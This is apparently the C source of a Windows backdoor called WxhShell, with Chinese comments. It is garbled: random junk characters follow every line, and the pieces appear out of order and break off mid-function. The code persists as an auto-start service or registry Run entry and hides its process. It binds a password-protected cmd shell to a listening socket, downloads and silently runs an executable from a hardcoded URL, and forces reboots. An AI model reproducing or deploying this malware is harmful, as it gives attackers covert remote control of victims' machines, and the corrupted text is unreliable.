    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'RPe5 vB  
    if(Boot(SHUTDOWN)) ~ >6(@~6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |{$Vk%cUE  
    else { 1PWDK1GI8  
    closesocket(wsh); uG/Zpi  
    ExitThread(0); a{y ;Ub  
    } H:CwUFL  
    break; DCHU=r  
    } Er{yQIi0L  
  // 获取shell rx%lL  
  case 's': { s8R.?mhH=  
    CmdShell(wsh); _- { >e  
    closesocket(wsh); T8v>J4@t  
    ExitThread(0); }4$UlTA'  
    break; z+;+c$X  
  } Nkc=@l {  
  // 退出 -(Yq$5Zc&  
  case 'x': { |TkO'QN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); At"@`1n_u'  
    CloseIt(wsh); 7%C6gU!r  
    break; zh7NXTzyf  
    } yAaMYF@  
  // 离开 aCQAh[T  
  case 'q': { orJN#0v4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);   \\6/"  
    closesocket(wsh); e~xN[Q\0]  
    WSACleanup(); xse8fGs  
    exit(1); ,|D<De\v&  
    break; kid@*.I  
        } a8NL  
  } G8j$&1`:  
  } L~>pSP^a  
H}`}qu #~V  
  // 提示信息 9[T}cN=|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !ouJ3Jn   
} i ,ga2{GnM  
  } 54v}iG  
`StlG=TB8  
  return; Zh,(/-XN;  
} it \3-  
O,u$L  
// shell模块句柄 n2cb,b/7  
int CmdShell(SOCKET sock) | <gYzb q  
{ yC pU1 73V  
STARTUPINFO si; ,Tjc\;~%  
ZeroMemory(&si,sizeof(si)); ,:;ZzHzR0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jYI\.bc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 22$M6Qof]n  
PROCESS_INFORMATION ProcessInfo; gAD,  
char cmdline[]="cmd"; r1ao=N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5Sl vCL  
  return 0;  b"iPuN!p  
} b*(74>XY  
54r/s#|-3  
// 自身启动模式 ir !/{IQx  
int StartFromService(void) Yv>kToa\^  
{ it77x3Mm F  
typedef struct opqY@>Vh&  
{ [_P ZdIN  
  DWORD ExitStatus; Lh\ 1L  
  DWORD PebBaseAddress; *MC+i$  
  DWORD AffinityMask; hh#p=Y(f  
  DWORD BasePriority; %W` }  
  ULONG UniqueProcessId; =S#9\W&6Q  
  ULONG InheritedFromUniqueProcessId; gjFpM.D-.  
}   PROCESS_BASIC_INFORMATION; <x-7MU&  
)xm[mvt  
PROCNTQSIP NtQueryInformationProcess; jzvrJ14  
}l"pxp1K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 37<^Oly!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X)Zc*9XA  
? `hA:X<  
  HANDLE             hProcess; 4M*Z1  
  PROCESS_BASIC_INFORMATION pbi; s k_TKN`+  
q]Vxf!0*>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'Y2ImSWj  
  if(NULL == hInst ) return 0; 18nT Iz_  
y~Z7sx0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k~Z;S QyN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \:-"?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qf T71o(  
Ua%;hI)j$  
  if (!NtQueryInformationProcess) return 0; }i$ER,hXh  
P"[\p|[U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g286 P_a`*  
  if(!hProcess) return 0; V!\'7-[R  
%-fQ[@5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \r1nMw3&  
"*< )pnJ  
  CloseHandle(hProcess); WeZ?L|&%w0  
[,L>5:T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MFeY}_d<  
if(hProcess==NULL) return 0; G4rd<V0[D  
gz#2}  
HMODULE hMod; %/oeV;D  
char procName[255]; xL [3R   
unsigned long cbNeeded; }2h!  
?U+nR/H:6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,n{R,]y\  
J4%"38l  
  CloseHandle(hProcess); s~06%QEG  
u-M Td  
if(strstr(procName,"services")) return 1; // 以服务启动 G5hf m-  
&'k:?@J[  
  return 0; // 注册表启动 4&AGVplgF  
}  s2`}~  
\ [bJ@f*."  
// 主模块 (QTQxZ  
int StartWxhshell(LPSTR lpCmdLine) kho$At)V  
{ v:"Y  
  SOCKET wsl; h<G7ocu!  
BOOL val=TRUE; .=N?;i  
  int port=0; ka@yQV  
  struct sockaddr_in door; cJ\ 1ndBH  
E|3[$?=R  
  if(wscfg.ws_autoins) Install(); }Te+Rv7{E  
Dtox/ ,"  
port=atoi(lpCmdLine); 97dF  
E~c>j<'-"<  
if(port<=0) port=wscfg.ws_port; #+H3b!8=  
%Z8wUG  
  WSADATA data; @1~cPt   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %%9T-+T  
h.\p+Qw.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +7{8T{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JkI|Ojmm/  
  door.sin_family = AF_INET; liBFx6\"S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \!"3yd  
  door.sin_port = htons(port); ^fV-m&F)K*  
x \I uM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /.(~=6o5  
closesocket(wsl); XZ2 ji_D  
return 1; ^B8 [B&K  
} r`$P60,@C  
K#Xl)h}y7  
  if(listen(wsl,2) == INVALID_SOCKET) { 0+K<;5"63d  
closesocket(wsl); y Ni3@f  
return 1; XT \2  
} ?w&?P}e +  
  Wxhshell(wsl); &;R BG$t  
  WSACleanup(); R[kF(C&  
Q9c*I,O j  
return 0; kkJ8xyO  
:;;k+Sw3  
} A@;{ #.O  
1+ [,eq  
// 以NT服务方式启动 ] f5vk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,&g-DC ag  
{ o=-Af|#b  
DWORD   status = 0; (Q.tH  
  DWORD   specificError = 0xfffffff; 8K@e8p( y  
8g=];@z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |"[;0)dw^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _bRgr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~Lq`a@]A  
  serviceStatus.dwWin32ExitCode     = 0; >}/T&S  
  serviceStatus.dwServiceSpecificExitCode = 0; F$'po#  
  serviceStatus.dwCheckPoint       = 0; q,OCA\  
  serviceStatus.dwWaitHint       = 0; I+`>e*:@W  
a|DCpU}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IR?nH`V  
  if (hServiceStatusHandle==0) return; \mZB*k)+  
X5(oL  
status = GetLastError(); VF+g+~  
  if (status!=NO_ERROR) =@&>r5W1  
{ 0b<Qs88yd>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >;#rK@*&  
    serviceStatus.dwCheckPoint       = 0; `)kxFD_bH  
    serviceStatus.dwWaitHint       = 0; HG)$ W  
    serviceStatus.dwWin32ExitCode     = status; 'e6J&X  
    serviceStatus.dwServiceSpecificExitCode = specificError; wKoar  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pb1.X9*8c  
    return; 2@Q5Ta #h  
  } ]AZCf`7/?  
1/syzHjbY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7\X_%SM%  
  serviceStatus.dwCheckPoint       = 0; f(\S +4  
  serviceStatus.dwWaitHint       = 0; oTr,zRL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F&Rr&m  
} Fu% n8  
I]42R;Sc  
// 处理NT服务事件,比如:启动、停止 "D:?l`\o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~S<}q6H.  
{ Q'Uv5p"X  
switch(fdwControl) uZ+"-Ig  
{ ZkdSgc')  
case SERVICE_CONTROL_STOP: sQ&<cBs2  
  serviceStatus.dwWin32ExitCode = 0; mnw(x#%P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9j}Q~v\  
  serviceStatus.dwCheckPoint   = 0; E_P,>f  
  serviceStatus.dwWaitHint     = 0; R*lq.7   
  { A+}O~,mxP8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bxWzm|  
  } <e wcWr  
  return; dz/3=0  
case SERVICE_CONTROL_PAUSE: #KuBEHr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uLfk>&hc  
  break; (Zej\lEN  
case SERVICE_CONTROL_CONTINUE: 2_Zn?#G8dl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5 o[E8c 8  
  break; <p?oFD_e4  
case SERVICE_CONTROL_INTERROGATE: aU$8 0  
  break; 9lkl-b6xG  
}; [<}W S} .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iszVM  
} ] pv!Ll  
kt7Emb}  
// 标准应用程序主函数 X|4Kdi.r@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5kHU'D  
{ 67||wh.BU  
DZ:$p.  
// 获取操作系统版本 @HY P_hR  
OsIsNt=GetOsVer(); TXbi>t:/S{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j*~z.Q|  
+xU=7chA  
  // 从命令行安装 Y$fF"p G?  
  if(strpbrk(lpCmdLine,"iI")) Install(); /8,cF7XL*  
#8%~u+"N  
  // 下载执行文件 @mcP-  
if(wscfg.ws_downexe) { &O5&pet  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2Y;iqR  
  WinExec(wscfg.ws_filenam,SW_HIDE); 51;Bc[)%  
} }kJ9< h,  
VK|$SY(  
if(!OsIsNt) { ;Wn0-`_1,  
// 如果时win9x,隐藏进程并且设置为注册表启动 m$g{&  
HideProc(); d1NKVMeWr  
StartWxhshell(lpCmdLine); /1hcw|cfC  
} >^v,,R8j  
else }To-c'  
  if(StartFromService()) 7!e kINQ  
  // 以服务方式启动 /g!X[rn7Q  
  StartServiceCtrlDispatcher(DispatchTable); dAaxbP|  
else uK[gI6M  
  // 普通方式启动 JaN53,&<  
  StartWxhshell(lpCmdLine); 7+$P6[*  
n]K{-C;  
return 0; "&\]1A}Z-x  
} {!pYQ|#  
x139Ckn  
#BIY[{!  
NRs%q}lX  
=========================================== SPINV.  
cdg &)  
b\xse2#  
b^<7@tY  
Mu_'C$zA  
bGi k~  
" .0dx@Sbv  
Wf&i{3z[  
#include <stdio.h> Fn;Gq-^7@  
#include <string.h> W)`H(J  
#include <windows.h> jVSU]LU E  
#include <winsock2.h> h~#.s*0.F  
#include <winsvc.h> Hc\oR(L  
#include <urlmon.h> irn }.e  
-)e(Qt#ewl  
#pragma comment (lib, "Ws2_32.lib") %,udZyO3uR  
#pragma comment (lib, "urlmon.lib") }jL4F$wC  
{dvsZJj  
#define MAX_USER   100 // 最大客户端连接数 .Txwp?};  
#define BUF_SOCK   200 // sock buffer X- SR0x  
#define KEY_BUFF   255 // 输入 buffer ,(kaC.Em  
J^mm"2  
#define REBOOT     0   // 重启 oho~?.F  
#define SHUTDOWN   1   // 关机 WAVEwA`r  
iv6bXV'N  
#define DEF_PORT   5000 // 监听端口 tk+t3+  
.b<wNUzP  
#define REG_LEN     16   // 注册表键长度 l R^W*w4y  
#define SVC_LEN     80   // NT服务名长度 zzX9Q:  
{<2q  
// 从dll定义API l, -q:8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E{'\(6z_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #3-hE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6/|"y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0"u=g)3  
DjiWg(X  
// wxhshell配置信息 =fI0q7]ndz  
struct WSCFG { !6*4^$i#o  
  int ws_port;         // 监听端口 q/3co86c  
  char ws_passstr[REG_LEN]; // 口令 inyS4tb  
  int ws_autoins;       // 安装标记, 1=yes 0=no u6/;=]0   
  char ws_regname[REG_LEN]; // 注册表键名 0Pg@%>yb~  
  char ws_svcname[REG_LEN]; // 服务名 n:%A4*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !jN$U%/,%.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X+//$J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^ANz=`N5,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mz^[C7(q'(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q0TKM >  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6`)Ss5jzk  
u6P U(f  
}; #s-li b  
''CowI  
// default Wxhshell configuration QtfLJ5vi  
struct WSCFG wscfg={DEF_PORT, C] |m|`  
    "xuhuanlingzhe", $)7Af6xD  
    1, |bjLmGb  
    "Wxhshell", ,jMV # H[  
    "Wxhshell", g)iw.M2  
            "WxhShell Service", zfUkHL6  
    "Wrsky Windows CmdShell Service", xf8.PqVNo  
    "Please Input Your Password: ", rB3b  
  1, B zr}+J  
  "http://www.wrsky.com/wxhshell.exe", 58/\  
  "Wxhshell.exe" 2Zw]Uu`sb  
    }; i-&"1D[&  
/S%!{;:  
// 消息定义模块 |r53>,oR<:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5$ rV0X,O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S3YAc4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "QV1G'  
char *msg_ws_ext="\n\rExit."; SrXuiiK  
char *msg_ws_end="\n\rQuit."; q^b_'We_9  
char *msg_ws_boot="\n\rReboot..."; z0 _/JwJn  
char *msg_ws_poff="\n\rShutdown..."; zKaEh   
char *msg_ws_down="\n\rSave to "; Redxg.P  
^s?i&K,!  
char *msg_ws_err="\n\rErr!"; {>.qo<k  
char *msg_ws_ok="\n\rOK!"; 8hvh xp  
L&~>(/*7U  
char ExeFile[MAX_PATH]; ps=QVX)YP  
int nUser = 0; g?!;04  
HANDLE handles[MAX_USER]; 7>|p_ o`e  
int OsIsNt; bl;v^HR0)  
u9dL-Nr`  
SERVICE_STATUS       serviceStatus; JPS<e*5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4(\7Or(''  
?[ vC?P  
// 函数声明 w3peG^4D_  
int Install(void); 2N_9S?a3sK  
int Uninstall(void); ^ px)W,O  
int DownloadFile(char *sURL, SOCKET wsh); n0ls a@l  
int Boot(int flag); IN94[yW{1  
void HideProc(void); ~7&O[  
int GetOsVer(void); y1hJVYE2  
int Wxhshell(SOCKET wsl); .(zZTyZr  
void TalkWithClient(void *cs); 7)a u#K6  
int CmdShell(SOCKET sock); Cl3hpqv1I  
int StartFromService(void); c)=UX_S!  
int StartWxhshell(LPSTR lpCmdLine); [KwwhI@3  
QjwCY=PK!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {m<!-B95  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G3t 4$3|  
0B~Q.tyP  
// 数据结构和表定义 @7<m.?A!  
SERVICE_TABLE_ENTRY DispatchTable[] = >eaK@u-'0  
{ JZrUl^8E  
{wscfg.ws_svcname, NTServiceMain}, v4wXa:CJ  
{NULL, NULL} U HUO9h  
}; rzgzX  
Zu%oIk  
// 自我安装 @?"t&h  
int Install(void) Y{ 2xokJ N  
{ )ur&Mnmm  
  char svExeFile[MAX_PATH]; X+XbIbUuL  
  HKEY key; nzORG  
  strcpy(svExeFile,ExeFile); ecy41y'~:  
&,@wLy^ T  
// 如果是win9x系统,修改注册表设为自启动 5Ai$1'*p  
if(!OsIsNt) { J'y*>dW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @;@Wt`(2a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N\ dr_   
  RegCloseKey(key); SvGs?nUU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s *1%I$=@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E|Z7art  
  RegCloseKey(key); ._z[T@!9  
  return 0; pvJPMx  
    } S~DY1e54GF  
  } 4i o02qd 4  
} Vl+,OBy  
else { Y^f12%  
Gk5SG_o  
// 如果是NT以上系统,安装为系统服务 &g<`i{_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ? /Z hu  
if (schSCManager!=0) 4\yKd8I  
{ 1)m&6:!b  
  SC_HANDLE schService = CreateService C\dlQQ  
  ( F /:2+  
  schSCManager, >#\&%0OZw  
  wscfg.ws_svcname, TID0x/j"K5  
  wscfg.ws_svcdisp, }ZWeb#\  
  SERVICE_ALL_ACCESS, o(@F37r{?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <=,KP)   
  SERVICE_AUTO_START, >h m<$3  
  SERVICE_ERROR_NORMAL, wc'K=;c  
  svExeFile, lCyp&b#(L  
  NULL, \W6 |un  
  NULL, "i_}\p.,X  
  NULL, 8h2!8'  
  NULL, I:aG(8Bi)H  
  NULL 9jwo f}OU  
  ); H;n(qBSB  
  if (schService!=0) S[ ,r .+  
  { C&'Y@GE5  
  CloseServiceHandle(schService); {XNu4d9w(  
  CloseServiceHandle(schSCManager); 8Cr?0Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q}["Nww-  
  strcat(svExeFile,wscfg.ws_svcname); jTx,5s-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [Pt5c6L:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qlg~W/  
  RegCloseKey(key); {9 Op{bZ  
  return 0; :I}_  
    } f 6P5J|'  
  } g3%t+>$*  
  CloseServiceHandle(schSCManager); ^MWfFpJV!]  
} }f6x>  
} 1v&!`^G99j  
? I}T[j  
return 1; z {J1pH_X  
} a;Y9wn  
(Rk g  
// 自我卸载 w`Dzk. 2  
int Uninstall(void) EF{_-FXY  
{ -3r&O:  
  HKEY key; !lF|90=  
6X:- Z 3  
if(!OsIsNt) { #| 8!0]n'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sk$ XC  
  RegDeleteValue(key,wscfg.ws_regname); dR_hPBn/@  
  RegCloseKey(key); w`VmN}pR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y o[!q|z  
  RegDeleteValue(key,wscfg.ws_regname); |[TH ~ o  
  RegCloseKey(key); sh?Dxodp9  
  return 0; N3H!ptn37  
  } >}/"g x  
} +* )Qi)  
} Q_#X*I  
else { 3Pp*ID  
E4[\lX$J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9=I(AYG{m  
if (schSCManager!=0) 6#5@d^a  
{ \o@b5z ]e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9ffRY,1@  
  if (schService!=0) nx,67u/Pb  
  {  N _r*Ig  
  if(DeleteService(schService)!=0) { ap9eQsC  
  CloseServiceHandle(schService); ,Ql3RO,  
  CloseServiceHandle(schSCManager); N[ArwV2O  
  return 0; %2oLND}?z  
  } n@g[VR2t  
  CloseServiceHandle(schService); W^&t8d2  
  } {\ziy4<II  
  CloseServiceHandle(schSCManager); cVn7jxf  
} ~%Yh`c EP  
} Z[`J'}?|  
L i=l/  
return 1; !HDk]   
} =fi.*d?$7  
V|HSIJ#J  
// 从指定url下载文件 > KH4X:  
int DownloadFile(char *sURL, SOCKET wsh) j&m<=-q  
{ xyz-T1ib  
  HRESULT hr; 5 |C;]pq  
char seps[]= "/"; n]coqJ  
char *token; 8yFD2(#  
char *file; Zml9 ndzT  
char myURL[MAX_PATH]; Ed*`d>  
char myFILE[MAX_PATH]; [dU/;Sk5  
9LJ/m\bi  
strcpy(myURL,sURL); +Mm0bqNN  
  token=strtok(myURL,seps); 4b3p,$BWS  
  while(token!=NULL) &[\rnJ?D  
  { ZVIBmx  
    file=token; iJrscy-  
  token=strtok(NULL,seps); OR"ni  
  } [AX).b  
#0Oqw=F  
GetCurrentDirectory(MAX_PATH,myFILE);  V|?  
strcat(myFILE, "\\"); F<-Pbtw  
strcat(myFILE, file); n7<<}wcV  
  send(wsh,myFILE,strlen(myFILE),0); L1C' V/g  
send(wsh,"...",3,0); [TO:- 8$.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3y 3 U`Mo  
  if(hr==S_OK) 3+ i(fg_  
return 0; 1<5 9)RiO>  
else rhn*k f{8  
return 1; "v*RY "5#  
EUna_ 4=  
} gi;V~>kh  
6u:5]e8  
// 系统电源模块 *%)L?*  
int Boot(int flag) vlj|[joXw  
{ 4?yc/F=kI  
  HANDLE hToken; ;-]f4O8  
  TOKEN_PRIVILEGES tkp; ^2^ptQj  
q9WSQ$:z8  
  if(OsIsNt) { 5K6_#g4"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MB"?^~Sm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Va*Uwy?x/)  
    tkp.PrivilegeCount = 1; s.GhquFCrU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '{oe}].,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gh{k~/B  
if(flag==REBOOT) { ki+9 Ln;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /CA)R26G  
  return 0; v@t*iDa?7  
} 3UN Jj&-`  
else { !&'xkw`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &aF_y_f\  
  return 0; ] &G5/ ]f  
} m/6oQ  
  } BxZop.zwE(  
  else { vCpi|a_eCu  
if(flag==REBOOT) { am"/Anml|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *10e)rzM  
  return 0; SV\x2^Ea0  
} 10}Zoq|)n  
else { hCxL4LrF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g:o\r (  
  return 0; nev*TYY?A  
} }lxvXVc{I  
} Bnxzy n  
ReK@~#hLY  
return 1; )7i?8XiSZF  
} l5h9Eq  
s)M2Z3>+  
// win9x进程隐藏模块 ,-b{oS~u  
void HideProc(void) vy"Lsr3  
{ ;!~;05^iD  
dIpt&nH&$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'Vrev8D  
  if ( hKernel != NULL ) /e7'5#v  
  { /t9w%Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q/B+F%QiMQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,^<+5TYM7  
    FreeLibrary(hKernel); f$ Ap\(.  
  } mJsYY,b8  
Iiy:<c  
return; ynDx'Q*N'  
} e:,.-Kvzp`  
x1}q!)e  
// 获取操作系统版本 q;>BltU  
int GetOsVer(void) d#b{4zF"  
{  q?^0 o\  
  OSVERSIONINFO winfo; q!H 3JL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #/tdZ0  
  GetVersionEx(&winfo); fF d9D=EW.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j qdI=!H  
  return 1; G1nW{vce  
  else i L m1l  
  return 0; ]Z84w!z  
} PCLSY8N  
9e1 6 g  
// 客户端句柄模块 AngECkF-  
int Wxhshell(SOCKET wsl) -pD&@Wlwak  
{ `?D_=Gw  
  SOCKET wsh; V!opnLatYS  
  struct sockaddr_in client; -DuiK:mp  
  DWORD myID; *g,?13Q_  
:O!G{./(_  
  while(nUser<MAX_USER) ?}]kIK}MC  
{ 7O9s 5  
  int nSize=sizeof(client); f C^l9CRY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pS<b|wu?f  
  if(wsh==INVALID_SOCKET) return 1; sTA/2d  
=3zn Ta }  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @NH Ruk+  
if(handles[nUser]==0) &=?`;K  
  closesocket(wsh); m+m6"yE#_  
else \Zh)oUHd  
  nUser++; tZ@ +18  
  } z1FbW&V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qr<%rU^{.  
I| j tpv}  
  return 0; R^2Uh$kk{A  
} "{B ek<  
dq8 /^1P  
// 关闭 socket p;7 4 +q  
void CloseIt(SOCKET wsh) kR6 t .  
{ v\Wm[Ld  
closesocket(wsh); y[zA [H:  
nUser--; {4QOUqAu  
ExitThread(0); <{U{pCT%  
} Fm;)7.% >  
@\D D|o67  
// 客户端请求句柄 Ad,r(0a LZ  
void TalkWithClient(void *cs) qbEj\ b[  
{ O9|'8"AF  
epR~Rlw>2  
  SOCKET wsh=(SOCKET)cs; )PG,K 4z  
  char pwd[SVC_LEN]; C}h@El  
  char cmd[KEY_BUFF]; a`-hLX)~Z  
char chr[1]; ];I|_fXo%  
int i,j; &V?q d{39  
XsOOkf\_  
  while (nUser < MAX_USER) { C^%zV>o  
9_Re,h  
if(wscfg.ws_passstr) { "pZ3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g& "(- :  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |x6mkSf]ke  
  //ZeroMemory(pwd,KEY_BUFF); 8Wj=|Ow-q  
      i=0; fMQ*2zGu95  
  while(i<SVC_LEN) { UC1!J =f  
+r0eTP=zf  
  // 设置超时 4{DeF@@  
  fd_set FdRead; yo*iv+l  
  struct timeval TimeOut; /,Rca1W  
  FD_ZERO(&FdRead); nFfCw%T?  
  FD_SET(wsh,&FdRead); }91mQ`3  
  TimeOut.tv_sec=8; H<;Fb;b  
  TimeOut.tv_usec=0; *!'&:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mU=6"A0 U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q`aY.dD=O  
y@M}T{,/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3\KII9  
  pwd=chr[0]; <c ovApx  
  if(chr[0]==0xd || chr[0]==0xa) { ~}5Ml_J$,l  
  pwd=0; 30_un  
  break; MA+-2pMc|7  
  } ^-IsK#r.k  
  i++; ^2r}_ AX  
    } 1qC:3 ;P  
%]ayW$4  
  // 如果是非法用户,关闭 socket ,z1!~gIal  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,w%oSlOu  
} z9ShP&^4[  
8sIrG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B"PHJj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  y"\,%.  
w"v'dU^  
while(1) { -WUYE  
]VWfdG  
  ZeroMemory(cmd,KEY_BUFF); }Hz-h4Z  
Q$)|/Y))  
      // 自动支持客户端 telnet标准   $a\Uv0:xRx  
  j=0; <} yp  
  while(j<KEY_BUFF) { +^kxFQ(:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,%h!%nz!  
  cmd[j]=chr[0]; R9l7CJM@  
  if(chr[0]==0xa || chr[0]==0xd) { "F"_G  
  cmd[j]=0; >Mn>P!  
  break; {1MGb%xW  
  } uXLZtfu{  
  j++; bV`C;RPn  
    } _?s %MNaX  
L)lQ&z?  
  // 下载文件 }[z<iij4  
  if(strstr(cmd,"http://")) { v1r_Z($  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )E:,V~< 8  
  if(DownloadFile(cmd,wsh)) v'Vt .m&9&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JblmXqtC  
  else n`)7Y`hBhP  
